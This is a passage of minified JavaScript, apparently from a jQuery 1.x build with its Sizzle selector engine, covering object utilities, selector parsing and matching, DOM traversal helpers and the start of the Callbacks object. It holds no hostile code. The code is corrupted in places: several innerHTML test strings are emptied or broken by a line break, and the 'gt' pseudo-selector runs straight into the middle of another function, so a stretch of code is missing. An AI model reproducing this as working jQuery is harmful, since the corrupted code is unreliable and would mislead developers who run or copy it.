g&&(j=g,g=arguments[h]||{},h++),"object"==typeof g||n.isFunction(g)||(g={}),h===i&&(g=this,h--);i>h;h++){if(null!=(e=arguments[h])){for(d in e){a=g[d],c=e[d],g!==c&&(j&&c&&(n.isPlainObject(c)||(b=n.isArray(c)))?(b?(b=!1,f=a&&n.isArray(a)?a:[]):f=a&&n.isPlainObject(a)?a:{},g[d]=n.extend(j,f,c)):void 0!==c&&(g[d]=c))}}}return g},n.extend({expando:"jQuery"+(m+Math.random()).replace(/\D/g,""),isReady:!0,error:function(a){throw new Error(a)},noop:function(){},isFunction:function(a){return"function"===n.type(a)},isArray:Array.isArray||function(a){return"array"===n.type(a)},isWindow:function(a){return null!=a&&a==a.window},isNumeric:function(a){return a-parseFloat(a)>=0},isEmptyObject:function(a){var b;for(b in a){return !1}return !0},isPlainObject:function(a){var b;if(!a||"object"!==n.type(a)||a.nodeType||n.isWindow(a)){return !1}try{if(a.constructor&&!j.call(a,"constructor")&&!j.call(a.constructor.prototype,"isPrototypeOf")){return !1}}catch(c){return !1}if(l.ownLast){for(b in a){return j.call(a,b)}}for(b in a){}return void 0===b||j.call(a,b)},type:function(a){return null==a?a+"":"object"==typeof a||"function"==typeof a?h[i.call(a)]||"object":typeof a},globalEval:function(b){b&&n.trim(b)&&(a.execScript||function(b){a.eval.call(a,b)})(b)},camelCase:function(a){return a.replace(p,"ms-").replace(q,r)},nodeName:function(a,b){return a.nodeName&&a.nodeName.toLowerCase()===b.toLowerCase()},each:function(a,b,c){var d,e=0,f=a.length,g=s(a);if(c){if(g){for(;f>e;e++){if(d=b.apply(a[e],c),d===!1){break}}}else{for(e in a){if(d=b.apply(a[e],c),d===!1){break}}}}else{if(g){for(;f>e;e++){if(d=b.call(a[e],e,a[e]),d===!1){break}}}else{for(e in a){if(d=b.call(a[e],e,a[e]),d===!1){break}}}}return a},trim:k&&!k.call("\ufeff\xa0")?function(a){return null==a?"":k.call(a)}:function(a){return null==a?"":(a+"").replace(o,"")},makeArray:function(a,b){var c=b||[];return null!=a&&(s(Object(a))?n.merge(c,"string"==typeof a?[a]:a):f.call(c,a)),c},inArray:function(a,b,c){var d;if(b){if(g){return g.call(b,a,c)}for(d=b.length,c=c?0>c?Math.max(0,d+c):c:0;d>c;c++){if(c in b&&b[c]===a){return c}}}return -1},merge:function(a,b){var c=+b.length,d=0,e=a.length;while(c>d){a[e++]=b[d++]}if(c!==c){while(void 0!==b[d]){a[e++]=b[d++]}}return a.length=e,a},grep:function(a,b,c){for(var d,e=[],f=0,g=a.length,h=!c;g>f;f++){d=!b(a[f],f),d!==h&&e.push(a[f])}return e},map:function(a,b,c){var d,f=0,g=a.length,h=s(a),i=[];if(h){for(;g>f;f++){d=b(a[f],f,c),null!=d&&i.push(d)}}else{for(f in a){d=b(a[f],f,c),null!=d&&i.push(d)}}return e.apply([],i)},guid:1,proxy:function(a,b){var c,e,f;return"string"==typeof b&&(f=a[b],b=a,a=f),n.isFunction(a)?(c=d.call(arguments,2),e=function(){return a.apply(b||this,c.concat(d.call(arguments)))},e.guid=a.guid=a.guid||n.guid++,e):void 0},now:function(){return +new Date},support:l}),n.each("Boolean Number String Function Array Date RegExp Object Error".split(" "),function(a,b){h["[object "+b+"]"]=b.toLowerCase()});function s(a){var b=a.length,c=n.type(a);return"function"===c||n.isWindow(a)?!1:1===a.nodeType&&b?!0:"array"===c||0===b||"number"==typeof b&&b>0&&b-1 in a}var t=function(a){var b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s="sizzle"+-new Date,t=a.document,u=0,v=0,w=eb(),x=eb(),y=eb(),z=function(a,b){return a===b&&(j=!0),0},A="undefined",B=1<<31,C={}.hasOwnProperty,D=[],E=D.pop,F=D.push,G=D.push,H=D.slice,I=D.indexOf||function(a){for(var b=0,c=this.length;c>b;b++){if(this[b]===a){return b}}return -1},J="checked|selected|async|autofocus|autoplay|controls|defer|disabled|hidden|ismap|loop|multiple|open|readonly|required|scoped",K="[\\x20\\t\\r\\n\\f]",L="(?:\\\\.|[\\w-]|[^\\x00-\\xa0])+",M=L.replace("w","w#"),N="\\["+K+"*("+L+")"+K+"*(?:([*^$|!~]?=)"+K+"*(?:(['\"])((?:\\\\.|[^\\\\])*?)\\3|("+M+")|)|)"+K+"*\\]",O=":("+L+")(?:\\(((['\"])((?:\\\\.|[^\\\\])*?)\\3|((?:\\\\.|[^\\\\()[\\]]|"+N.replace(3,8)+")*)|.*)\\)|)",P=new RegExp("^"+K+"+|((?:^|[^\\\\])(?:\\\\.)*)"+K+"+$","g"),Q=new RegExp("^"+K+"*,"+K+"*"),R=new RegExp("^"+K+"*([>+~]|"+K+")"+K+"*"),S=new RegExp("="+K+"*([^\\]'\"]*?)"+K+"*\\]","g"),T=new RegExp(O),U=new RegExp("^"+M+"$"),V={ID:new RegExp("^#("+L+")"),CLASS:new RegExp("^\\.("+L+")"),TAG:new RegExp("^("+L.replace("w","w*")+")"),ATTR:new RegExp("^"+N),PSEUDO:new RegExp("^"+O),CHILD:new RegExp("^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\("+K+"*(even|odd|(([+-]|)(\\d*)n|)"+K+"*(?:([+-]|)"+K+"*(\\d+)|))"+K+"*\\)|)","i"),bool:new RegExp("^(?:"+J+")$","i"),needsContext:new RegExp("^"+K+"*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\("+K+"*((?:-\\d)?\\d*)"+K+"*\\)|)(?=[^-]|$)","i")},W=/^(?:input|select|textarea|button)$/i,X=/^h\d$/i,Y=/^[^{]+\{\s*\[native \w/,Z=/^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/,$=/[+~]/,_=/'|\\/g,ab=new RegExp("\\\\([\\da-f]{1,6}"+K+"?|("+K+")|.)","ig"),bb=function(a,b,c){var d="0x"+b-65536;return d!==d||c?b:0>d?String.fromCharCode(d+65536):String.fromCharCode(d>>10|55296,1023&d|56320)};try{G.apply(D=H.call(t.childNodes),t.childNodes),D[t.childNodes.length].nodeType}catch(cb){G={apply:D.length?function(a,b){F.apply(a,H.call(b))}:function(a,b){var c=a.length,d=0;while(a[c++]=b[d++]){}a.length=c-1}}}function db(a,b,d,e){var f,g,h,i,j,m,p,q,u,v;if((b?b.ownerDocument||b:t)!==l&&k(b),b=b||l,d=d||[],!a||"string"!=typeof a){return d}if(1!==(i=b.nodeType)&&9!==i){return[]}if(n&&!e){if(f=Z.exec(a)){if(h=f[1]){if(9===i){if(g=b.getElementById(h),!g||!g.parentNode){return d}if(g.id===h){return d.push(g),d}}else{if(b.ownerDocument&&(g=b.ownerDocument.getElementById(h))&&r(b,g)&&g.id===h){return d.push(g),d}}}else{if(f[2]){return G.apply(d,b.getElementsByTagName(a)),d}if((h=f[3])&&c.getElementsByClassName&&b.getElementsByClassName){return G.apply(d,b.getElementsByClassName(h)),d}}}if(c.qsa&&(!o||!o.test(a))){if(q=p=s,u=b,v=9===i&&a,1===i&&"object"!==b.nodeName.toLowerCase()){m=ob(a),(p=b.getAttribute("id"))?q=p.replace(_,"\\$&"):b.setAttribute("id",q),q="[id='"+q+"'] ",j=m.length;while(j--){m[j]=q+pb(m[j])}u=$.test(a)&&mb(b.parentNode)||b,v=m.join(",")}if(v){try{return G.apply(d,u.querySelectorAll(v)),d}catch(w){}finally{p||b.removeAttribute("id")}}}}return xb(a.replace(P,"$1"),b,d,e)}function eb(){var a=[];function b(c,e){return a.push(c+" ")>d.cacheLength&&delete b[a.shift()],b[c+" "]=e}return b}function fb(a){return a[s]=!0,a}function gb(a){var b=l.createElement("div");try{return !!a(b)}catch(c){return !1}finally{b.parentNode&&b.parentNode.removeChild(b),b=null}}function hb(a,b){var c=a.split("|"),e=a.length;while(e--){d.attrHandle[c[e]]=b}}function ib(a,b){var c=b&&a,d=c&&1===a.nodeType&&1===b.nodeType&&(~b.sourceIndex||B)-(~a.sourceIndex||B);if(d){return d}if(c){while(c=c.nextSibling){if(c===b){return -1}}}return a?1:-1}function jb(a){return function(b){var c=b.nodeName.toLowerCase();return"input"===c&&b.type===a}}function kb(a){return function(b){var c=b.nodeName.toLowerCase();return("input"===c||"button"===c)&&b.type===a}}function lb(a){return fb(function(b){return b=+b,fb(function(c,d){var e,f=a([],c.length,b),g=f.length;while(g--){c[e=f[g]]&&(c[e]=!(d[e]=c[e]))}})})}function mb(a){return a&&typeof a.getElementsByTagName!==A&&a}c=db.support={},f=db.isXML=function(a){var b=a&&(a.ownerDocument||a).documentElement;return b?"HTML"!==b.nodeName:!1},k=db.setDocument=function(a){var b,e=a?a.ownerDocument||a:t,g=e.defaultView;return e!==l&&9===e.nodeType&&e.documentElement?(l=e,m=e.documentElement,n=!f(e),g&&g!==g.top&&(g.addEventListener?g.addEventListener("unload",function(){k()},!1):g.attachEvent&&g.attachEvent("onunload",function(){k()})),c.attributes=gb(function(a){return a.className="i",!a.getAttribute("className")}),c.getElementsByTagName=gb(function(a){return a.appendChild(e.createComment("")),!a.getElementsByTagName("*").length}),c.getElementsByClassName=Y.test(e.getElementsByClassName)&&gb(function(a){return a.innerHTML="
      ",a.firstChild.className="i",2===a.getElementsByClassName("i").length}),c.getById=gb(function(a){return m.appendChild(a).id=s,!e.getElementsByName||!e.getElementsByName(s).length}),c.getById?(d.find.ID=function(a,b){if(typeof b.getElementById!==A&&n){var c=b.getElementById(a);return c&&c.parentNode?[c]:[]}},d.filter.ID=function(a){var b=a.replace(ab,bb);return function(a){return a.getAttribute("id")===b}}):(delete d.find.ID,d.filter.ID=function(a){var b=a.replace(ab,bb);return function(a){var c=typeof a.getAttributeNode!==A&&a.getAttributeNode("id");return c&&c.value===b}}),d.find.TAG=c.getElementsByTagName?function(a,b){return typeof b.getElementsByTagName!==A?b.getElementsByTagName(a):void 0}:function(a,b){var c,d=[],e=0,f=b.getElementsByTagName(a);if("*"===a){while(c=f[e++]){1===c.nodeType&&d.push(c)}return d}return f},d.find.CLASS=c.getElementsByClassName&&function(a,b){return typeof b.getElementsByClassName!==A&&n?b.getElementsByClassName(a):void 0},p=[],o=[],(c.qsa=Y.test(e.querySelectorAll))&&(gb(function(a){a.innerHTML="",a.querySelectorAll("[t^='']").length&&o.push("[*^$]="+K+"*(?:''|\"\")"),a.querySelectorAll("[selected]").length||o.push("\\["+K+"*(?:value|"+J+")"),a.querySelectorAll(":checked").length||o.push(":checked")}),gb(function(a){var b=e.createElement("input");b.setAttribute("type","hidden"),a.appendChild(b).setAttribute("name","D"),a.querySelectorAll("[name=d]").length&&o.push("name"+K+"*[*^$|!~]?="),a.querySelectorAll(":enabled").length||o.push(":enabled",":disabled"),a.querySelectorAll("*,:x"),o.push(",.*:")})),(c.matchesSelector=Y.test(q=m.webkitMatchesSelector||m.mozMatchesSelector||m.oMatchesSelector||m.msMatchesSelector))&&gb(function(a){c.disconnectedMatch=q.call(a,"div"),q.call(a,"[s!='']:x"),p.push("!=",O)}),o=o.length&&new RegExp(o.join("|")),p=p.length&&new RegExp(p.join("|")),b=Y.test(m.compareDocumentPosition),r=b||Y.test(m.contains)?function(a,b){var c=9===a.nodeType?a.documentElement:a,d=b&&b.parentNode;return a===d||!(!d||1!==d.nodeType||!(c.contains?c.contains(d):a.compareDocumentPosition&&16&a.compareDocumentPosition(d)))}:function(a,b){if(b){while(b=b.parentNode){if(b===a){return !0}}}return !1},z=b?function(a,b){if(a===b){return j=!0,0}var d=!a.compareDocumentPosition-!b.compareDocumentPosition;return d?d:(d=(a.ownerDocument||a)===(b.ownerDocument||b)?a.compareDocumentPosition(b):1,1&d||!c.sortDetached&&b.compareDocumentPosition(a)===d?a===e||a.ownerDocument===t&&r(t,a)?-1:b===e||b.ownerDocument===t&&r(t,b)?1:i?I.call(i,a)-I.call(i,b):0:4&d?-1:1)}:function(a,b){if(a===b){return j=!0,0}var c,d=0,f=a.parentNode,g=b.parentNode,h=[a],k=[b];if(!f||!g){return a===e?-1:b===e?1:f?-1:g?1:i?I.call(i,a)-I.call(i,b):0}if(f===g){return ib(a,b)}c=a;while(c=c.parentNode){h.unshift(c)}c=b;while(c=c.parentNode){k.unshift(c)}while(h[d]===k[d]){d++}return d?ib(h[d],k[d]):h[d]===t?-1:k[d]===t?1:0},e):l},db.matches=function(a,b){return db(a,null,null,b)},db.matchesSelector=function(a,b){if((a.ownerDocument||a)!==l&&k(a),b=b.replace(S,"='$1']"),!(!c.matchesSelector||!n||p&&p.test(b)||o&&o.test(b))){try{var d=q.call(a,b);if(d||c.disconnectedMatch||a.document&&11!==a.document.nodeType){return d}}catch(e){}}return db(b,l,null,[a]).length>0},db.contains=function(a,b){return(a.ownerDocument||a)!==l&&k(a),r(a,b)},db.attr=function(a,b){(a.ownerDocument||a)!==l&&k(a);var e=d.attrHandle[b.toLowerCase()],f=e&&C.call(d.attrHandle,b.toLowerCase())?e(a,b,!n):void 0;return void 0!==f?f:c.attributes||!n?a.getAttribute(b):(f=a.getAttributeNode(b))&&f.specified?f.value:null},db.error=function(a){throw new Error("Syntax error, unrecognized expression: "+a)},db.uniqueSort=function(a){var b,d=[],e=0,f=0;if(j=!c.detectDuplicates,i=!c.sortStable&&a.slice(0),a.sort(z),j){while(b=a[f++]){b===a[f]&&(e=d.push(f))}while(e--){a.splice(d[e],1)}}return i=null,a},e=db.getText=function(a){var b,c="",d=0,f=a.nodeType;if(f){if(1===f||9===f||11===f){if("string"==typeof a.textContent){return a.textContent}for(a=a.firstChild;a;a=a.nextSibling){c+=e(a)}}else{if(3===f||4===f){return a.nodeValue}}}else{while(b=a[d++]){c+=e(b)}}return c},d=db.selectors={cacheLength:50,createPseudo:fb,match:V,attrHandle:{},find:{},relative:{">":{dir:"parentNode",first:!0}," ":{dir:"parentNode"},"+":{dir:"previousSibling",first:!0},"~":{dir:"previousSibling"}},preFilter:{ATTR:function(a){return a[1]=a[1].replace(ab,bb),a[3]=(a[4]||a[5]||"").replace(ab,bb),"~="===a[2]&&(a[3]=" "+a[3]+" "),a.slice(0,4)},CHILD:function(a){return a[1]=a[1].toLowerCase(),"nth"===a[1].slice(0,3)?(a[3]||db.error(a[0]),a[4]=+(a[4]?a[5]+(a[6]||1):2*("even"===a[3]||"odd"===a[3])),a[5]=+(a[7]+a[8]||"odd"===a[3])):a[3]&&db.error(a[0]),a},PSEUDO:function(a){var b,c=!a[5]&&a[2];return V.CHILD.test(a[0])?null:(a[3]&&void 0!==a[4]?a[2]=a[4]:c&&T.test(c)&&(b=ob(c,!0))&&(b=c.indexOf(")",c.length-b)-c.length)&&(a[0]=a[0].slice(0,b),a[2]=c.slice(0,b)),a.slice(0,3))}},filter:{TAG:function(a){var b=a.replace(ab,bb).toLowerCase();return"*"===a?function(){return !0}:function(a){return a.nodeName&&a.nodeName.toLowerCase()===b}},CLASS:function(a){var b=w[a+" "];return b||(b=new RegExp("(^|"+K+")"+a+"("+K+"|$)"))&&w(a,function(a){return b.test("string"==typeof a.className&&a.className||typeof a.getAttribute!==A&&a.getAttribute("class")||"")})},ATTR:function(a,b,c){return function(d){var e=db.attr(d,a);return null==e?"!="===b:b?(e+="","="===b?e===c:"!="===b?e!==c:"^="===b?c&&0===e.indexOf(c):"*="===b?c&&e.indexOf(c)>-1:"$="===b?c&&e.slice(-c.length)===c:"~="===b?(" "+e+" ").indexOf(c)>-1:"|="===b?e===c||e.slice(0,c.length+1)===c+"-":!1):!0}},CHILD:function(a,b,c,d,e){var f="nth"!==a.slice(0,3),g="last"!==a.slice(-4),h="of-type"===b;return 1===d&&0===e?function(a){return !!a.parentNode}:function(b,c,i){var j,k,l,m,n,o,p=f!==g?"nextSibling":"previousSibling",q=b.parentNode,r=h&&b.nodeName.toLowerCase(),t=!i&&!h;if(q){if(f){while(p){l=b;while(l=l[p]){if(h?l.nodeName.toLowerCase()===r:1===l.nodeType){return !1}}o=p="only"===a&&!o&&"nextSibling"}return !0}if(o=[g?q.firstChild:q.lastChild],g&&t){k=q[s]||(q[s]={}),j=k[a]||[],n=j[0]===u&&j[1],m=j[0]===u&&j[2],l=n&&q.childNodes[n];while(l=++n&&l&&l[p]||(m=n=0)||o.pop()){if(1===l.nodeType&&++m&&l===b){k[a]=[u,n,m];break}}}else{if(t&&(j=(b[s]||(b[s]={}))[a])&&j[0]===u){m=j[1]}else{while(l=++n&&l&&l[p]||(m=n=0)||o.pop()){if((h?l.nodeName.toLowerCase()===r:1===l.nodeType)&&++m&&(t&&((l[s]||(l[s]={}))[a]=[u,m]),l===b)){break}}}}return m-=e,m===d||m%d===0&&m/d>=0}}},PSEUDO:function(a,b){var c,e=d.pseudos[a]||d.setFilters[a.toLowerCase()]||db.error("unsupported pseudo: "+a);return e[s]?e(b):e.length>1?(c=[a,a,"",b],d.setFilters.hasOwnProperty(a.toLowerCase())?fb(function(a,c){var d,f=e(a,b),g=f.length;while(g--){d=I.call(a,f[g]),a[d]=!(c[d]=f[g])}}):function(a){return e(a,0,c)}):e}},pseudos:{not:fb(function(a){var b=[],c=[],d=g(a.replace(P,"$1"));return d[s]?fb(function(a,b,c,e){var f,g=d(a,null,e,[]),h=a.length;while(h--){(f=g[h])&&(a[h]=!(b[h]=f))}}):function(a,e,f){return b[0]=a,d(b,null,f,c),!c.pop()}}),has:fb(function(a){return function(b){return db(a,b).length>0}}),contains:fb(function(a){return function(b){return(b.textContent||b.innerText||e(b)).indexOf(a)>-1}}),lang:fb(function(a){return U.test(a||"")||db.error("unsupported lang: "+a),a=a.replace(ab,bb).toLowerCase(),function(b){var c;do{if(c=n?b.lang:b.getAttribute("xml:lang")||b.getAttribute("lang")){return c=c.toLowerCase(),c===a||0===c.indexOf(a+"-")}}while((b=b.parentNode)&&1===b.nodeType);return !1}}),target:function(b){var c=a.location&&a.location.hash;return c&&c.slice(1)===b.id},root:function(a){return a===m},focus:function(a){return a===l.activeElement&&(!l.hasFocus||l.hasFocus())&&!!(a.type||a.href||~a.tabIndex)},enabled:function(a){return a.disabled===!1},disabled:function(a){return a.disabled===!0},checked:function(a){var b=a.nodeName.toLowerCase();return"input"===b&&!!a.checked||"option"===b&&!!a.selected},selected:function(a){return a.parentNode&&a.parentNode.selectedIndex,a.selected===!0},empty:function(a){for(a=a.firstChild;a;a=a.nextSibling){if(a.nodeType<6){return !1}}return !0},parent:function(a){return !d.pseudos.empty(a)},header:function(a){return X.test(a.nodeName)},input:function(a){return W.test(a.nodeName)},button:function(a){var b=a.nodeName.toLowerCase();return"input"===b&&"button"===a.type||"button"===b},text:function(a){var b;return"input"===a.nodeName.toLowerCase()&&"text"===a.type&&(null==(b=a.getAttribute("type"))||"text"===b.toLowerCase())},first:lb(function(){return[0]}),last:lb(function(a,b){return[b-1]}),eq:lb(function(a,b,c){return[0>c?c+b:c]}),even:lb(function(a,b){for(var c=0;b>c;c+=2){a.push(c)}return a}),odd:lb(function(a,b){for(var c=1;b>c;c+=2){a.push(c)}return a}),lt:lb(function(a,b,c){for(var d=0>c?c+b:c;--d>=0;){a.push(d)}return a}),gt:lb(function(a,b,c){for(var d=0>c?c+b:c;++db;b++){d+=a[b].value}return d}function qb(a,b,c){var d=b.dir,e=c&&"parentNode"===d,f=v++;return b.first?function(b,c,f){while(b=b[d]){if(1===b.nodeType||e){return a(b,c,f)}}}:function(b,c,g){var h,i,j=[u,f];if(g){while(b=b[d]){if((1===b.nodeType||e)&&a(b,c,g)){return !0}}}else{while(b=b[d]){if(1===b.nodeType||e){if(i=b[s]||(b[s]={}),(h=i[d])&&h[0]===u&&h[1]===f){return j[2]=h[2]}if(i[d]=j,j[2]=a(b,c,g)){return !0}}}}}}function rb(a){return a.length>1?function(b,c,d){var e=a.length;while(e--){if(!a[e](b,c,d)){return !1}}return !0}:a[0]}function sb(a,b,c,d,e){for(var f,g=[],h=0,i=a.length,j=null!=b;i>h;h++){(f=a[h])&&(!c||c(f,d,e))&&(g.push(f),j&&b.push(h))}return g}function tb(a,b,c,d,e,f){return d&&!d[s]&&(d=tb(d)),e&&!e[s]&&(e=tb(e,f)),fb(function(f,g,h,i){var j,k,l,m=[],n=[],o=g.length,p=f||wb(b||"*",h.nodeType?[h]:h,[]),q=!a||!f&&b?p:sb(p,m,a,h,i),r=c?e||(f?a:o||d)?[]:g:q;if(c&&c(q,r,h,i),d){j=sb(r,n),d(j,[],h,i),k=j.length;while(k--){(l=j[k])&&(r[n[k]]=!(q[n[k]]=l))}}if(f){if(e||a){if(e){j=[],k=r.length;while(k--){(l=r[k])&&j.push(q[k]=l)}e(null,r=[],j,i)}k=r.length;while(k--){(l=r[k])&&(j=e?I.call(f,l):m[k])>-1&&(f[j]=!(g[j]=l))}}}else{r=sb(r===g?r.splice(o,r.length):r),e?e(null,g,r,i):G.apply(g,r)}})}function ub(a){for(var b,c,e,f=a.length,g=d.relative[a[0].type],i=g||d.relative[" "],j=g?1:0,k=qb(function(a){return a===b},i,!0),l=qb(function(a){return I.call(b,a)>-1},i,!0),m=[function(a,c,d){return !g&&(d||c!==h)||((b=c).nodeType?k(a,c,d):l(a,c,d))}];f>j;j++){if(c=d.relative[a[j].type]){m=[qb(rb(m),c)]}else{if(c=d.filter[a[j].type].apply(null,a[j].matches),c[s]){for(e=++j;f>e;e++){if(d.relative[a[e].type]){break}}return tb(j>1&&rb(m),j>1&&pb(a.slice(0,j-1).concat({value:" "===a[j-2].type?"*":""})).replace(P,"$1"),c,e>j&&ub(a.slice(j,e)),f>e&&ub(a=a.slice(e)),f>e&&pb(a))}m.push(c)}}return rb(m)}function vb(a,b){var c=b.length>0,e=a.length>0,f=function(f,g,i,j,k){var m,n,o,p=0,q="0",r=f&&[],s=[],t=h,v=f||e&&d.find.TAG("*",k),w=u+=null==t?1:Math.random()||0.1,x=v.length;for(k&&(h=g!==l&&g);q!==x&&null!=(m=v[q]);q++){if(e&&m){n=0;while(o=a[n++]){if(o(m,g,i)){j.push(m);break}}k&&(u=w)}c&&((m=!o&&m)&&p--,f&&r.push(m))}if(p+=q,c&&q!==p){n=0;while(o=b[n++]){o(r,s,g,i)}if(f){if(p>0){while(q--){r[q]||s[q]||(s[q]=E.call(j))}}s=sb(s)}G.apply(j,s),k&&!f&&s.length>0&&p+b.length>1&&db.uniqueSort(j)}return k&&(u=w,h=t),r};return c?fb(f):f}g=db.compile=function(a,b){var c,d=[],e=[],f=y[a+" "];if(!f){b||(b=ob(a)),c=b.length;while(c--){f=ub(b[c]),f[s]?d.push(f):e.push(f)}f=y(a,vb(e,d))}return f};function wb(a,b,c){for(var d=0,e=b.length;e>d;d++){db(a,b[d],c)}return c}function xb(a,b,e,f){var h,i,j,k,l,m=ob(a);if(!f&&1===m.length){if(i=m[0]=m[0].slice(0),i.length>2&&"ID"===(j=i[0]).type&&c.getById&&9===b.nodeType&&n&&d.relative[i[1].type]){if(b=(d.find.ID(j.matches[0].replace(ab,bb),b)||[])[0],!b){return e}a=a.slice(i.shift().value.length)}h=V.needsContext.test(a)?0:i.length;while(h--){if(j=i[h],d.relative[k=j.type]){break}if((l=d.find[k])&&(f=l(j.matches[0].replace(ab,bb),$.test(i[0].type)&&mb(b.parentNode)||b))){if(i.splice(h,1),a=f.length&&pb(i),!a){return G.apply(e,f),e}break}}}return g(a,m)(f,b,!n,e,$.test(a)&&mb(b.parentNode)||b),e}return c.sortStable=s.split("").sort(z).join("")===s,c.detectDuplicates=!!j,k(),c.sortDetached=gb(function(a){return 1&a.compareDocumentPosition(l.createElement("div"))}),gb(function(a){return a.innerHTML="","#"===a.firstChild.getAttribute("href")})||hb("type|href|height|width",function(a,b,c){return c?void 0:a.getAttribute(b,"type"===b.toLowerCase()?1:2)}),c.attributes&&gb(function(a){return a.innerHTML="",a.firstChild.setAttribute("value",""),""===a.firstChild.getAttribute("value")})||hb("value",function(a,b,c){return c||"input"!==a.nodeName.toLowerCase()?void 0:a.defaultValue}),gb(function(a){return null==a.getAttribute("disabled")})||hb(J,function(a,b,c){var d;return c?void 0:a[b]===!0?b.toLowerCase():(d=a.getAttributeNode(b))&&d.specified?d.value:null}),db}(a);n.find=t,n.expr=t.selectors,n.expr[":"]=n.expr.pseudos,n.unique=t.uniqueSort,n.text=t.getText,n.isXMLDoc=t.isXML,n.contains=t.contains;var u=n.expr.match.needsContext,v=/^<(\w+)\s*\/?>(?:<\/\1>|)$/,w=/^.[^:#\[\.,]*$/;function x(a,b,c){if(n.isFunction(b)){return n.grep(a,function(a,d){return !!b.call(a,d,a)!==c})}if(b.nodeType){return n.grep(a,function(a){return a===b!==c})}if("string"==typeof b){if(w.test(b)){return n.filter(b,a,c)}b=n.filter(b,a)}return n.grep(a,function(a){return n.inArray(a,b)>=0!==c})}n.filter=function(a,b,c){var d=b[0];return c&&(a=":not("+a+")"),1===b.length&&1===d.nodeType?n.find.matchesSelector(d,a)?[d]:[]:n.find.matches(a,n.grep(b,function(a){return 1===a.nodeType}))},n.fn.extend({find:function(a){var b,c=[],d=this,e=d.length;if("string"!=typeof a){return this.pushStack(n(a).filter(function(){for(b=0;e>b;b++){if(n.contains(d[b],this)){return !0}}}))}for(b=0;e>b;b++){n.find(a,d[b],c)}return c=this.pushStack(e>1?n.unique(c):c),c.selector=this.selector?this.selector+" "+a:a,c},filter:function(a){return this.pushStack(x(this,a||[],!1))},not:function(a){return this.pushStack(x(this,a||[],!0))},is:function(a){return !!x(this,"string"==typeof a&&u.test(a)?n(a):a||[],!1).length}});var y,z=a.document,A=/^(?:\s*(<[\w\W]+>)[^>]*|#([\w-]*))$/,B=n.fn.init=function(a,b){var c,d;if(!a){return this}if("string"==typeof a){if(c="<"===a.charAt(0)&&">"===a.charAt(a.length-1)&&a.length>=3?[null,a,null]:A.exec(a),!c||!c[1]&&b){return !b||b.jquery?(b||y).find(a):this.constructor(b).find(a)}if(c[1]){if(b=b instanceof n?b[0]:b,n.merge(this,n.parseHTML(c[1],b&&b.nodeType?b.ownerDocument||b:z,!0)),v.test(c[1])&&n.isPlainObject(b)){for(c in b){n.isFunction(this[c])?this[c](b[c]):this.attr(c,b[c])}}return this}if(d=z.getElementById(c[2]),d&&d.parentNode){if(d.id!==c[2]){return y.find(a)}this.length=1,this[0]=d}return this.context=z,this.selector=a,this}return a.nodeType?(this.context=this[0]=a,this.length=1,this):n.isFunction(a)?"undefined"!=typeof y.ready?y.ready(a):a(n):(void 0!==a.selector&&(this.selector=a.selector,this.context=a.context),n.makeArray(a,this))};B.prototype=n.fn,y=n(z);var C=/^(?:parents|prev(?:Until|All))/,D={children:!0,contents:!0,next:!0,prev:!0};n.extend({dir:function(a,b,c){var d=[],e=a[b];while(e&&9!==e.nodeType&&(void 0===c||1!==e.nodeType||!n(e).is(c))){1===e.nodeType&&d.push(e),e=e[b]}return d},sibling:function(a,b){for(var c=[];a;a=a.nextSibling){1===a.nodeType&&a!==b&&c.push(a)}return c}}),n.fn.extend({has:function(a){var b,c=n(a,this),d=c.length;return this.filter(function(){for(b=0;d>b;b++){if(n.contains(this,c[b])){return !0}}})},closest:function(a,b){for(var c,d=0,e=this.length,f=[],g=u.test(a)||"string"!=typeof a?n(a,b||this.context):0;e>d;d++){for(c=this[d];c&&c!==b;c=c.parentNode){if(c.nodeType<11&&(g?g.index(c)>-1:1===c.nodeType&&n.find.matchesSelector(c,a))){f.push(c);break}}}return this.pushStack(f.length>1?n.unique(f):f)},index:function(a){return a?"string"==typeof a?n.inArray(this[0],n(a)):n.inArray(a.jquery?a[0]:a,this):this[0]&&this[0].parentNode?this.first().prevAll().length:-1},add:function(a,b){return this.pushStack(n.unique(n.merge(this.get(),n(a,b))))},addBack:function(a){return this.add(null==a?this.prevObject:this.prevObject.filter(a))}});function E(a,b){do{a=a[b]}while(a&&1!==a.nodeType);return a}n.each({parent:function(a){var b=a.parentNode;return b&&11!==b.nodeType?b:null},parents:function(a){return n.dir(a,"parentNode")},parentsUntil:function(a,b,c){return n.dir(a,"parentNode",c)},next:function(a){return E(a,"nextSibling")},prev:function(a){return E(a,"previousSibling")},nextAll:function(a){return n.dir(a,"nextSibling")},prevAll:function(a){return n.dir(a,"previousSibling")},nextUntil:function(a,b,c){return n.dir(a,"nextSibling",c)},prevUntil:function(a,b,c){return n.dir(a,"previousSibling",c)},siblings:function(a){return n.sibling((a.parentNode||{}).firstChild,a)},children:function(a){return n.sibling(a.firstChild)},contents:function(a){return n.nodeName(a,"iframe")?a.contentDocument||a.contentWindow.document:n.merge([],a.childNodes)}},function(a,b){n.fn[a]=function(c,d){var e=n.map(this,b,c);return"Until"!==a.slice(-5)&&(d=c),d&&"string"==typeof d&&(e=n.filter(d,e)),this.length>1&&(D[a]||(e=n.unique(e)),C.test(a)&&(e=e.reverse())),this.pushStack(e)}});var F=/\S+/g,G={};function H(a){var b=G[a]={};return n.each(a.match(F)||[],function(a,c){b[c]=!0}),b}n.Callbacks=function(a){a="string"==typeof a?G[a]||H(a):n.extend({},a);var b,c,d,e,f,g,h=[],i=!a.once&&[],j=function(l){for(c=a.memory&&l,d=!0,f=g||0,g=0,e=h.length,b=!0;h&&e>f;f++){if(h[f].apply(l[0],l[1])===!1&&a.stopOnFalse){c=!1;break}}b=!1,h&&(i?i.length&&j(i.shift()):c?h=[]:k.disable())},k={add:function(){if(h){var d=h.length;!function f(b){n.each(b,function(b,c){var d=n.type(c);"function"===d?a.unique&&k.has(c)||h.push(c):c&&c.length&&"string"!==d&&f(c)})}(arguments),b?e=h.length:c&&(g=d,j(c))}return this},remove:function(){return h&&n.each(arguments,function(a,c){var d;while((d=n.inArray(c,h,d))>-1){h.splice(d,1),b&&(e>=d&&e--,f>=d&&f--)}}),this},has:function(a){return a?n.inArray(a,h)>-1:!(!h||!h.length)},empty:function(){return h=[],e=0,this},disable:function(){return h=i=c=void 0,this},disabled:function(){return !h},lock:function(){return i=void 0,c||k.disable(),this},locked:function(){return 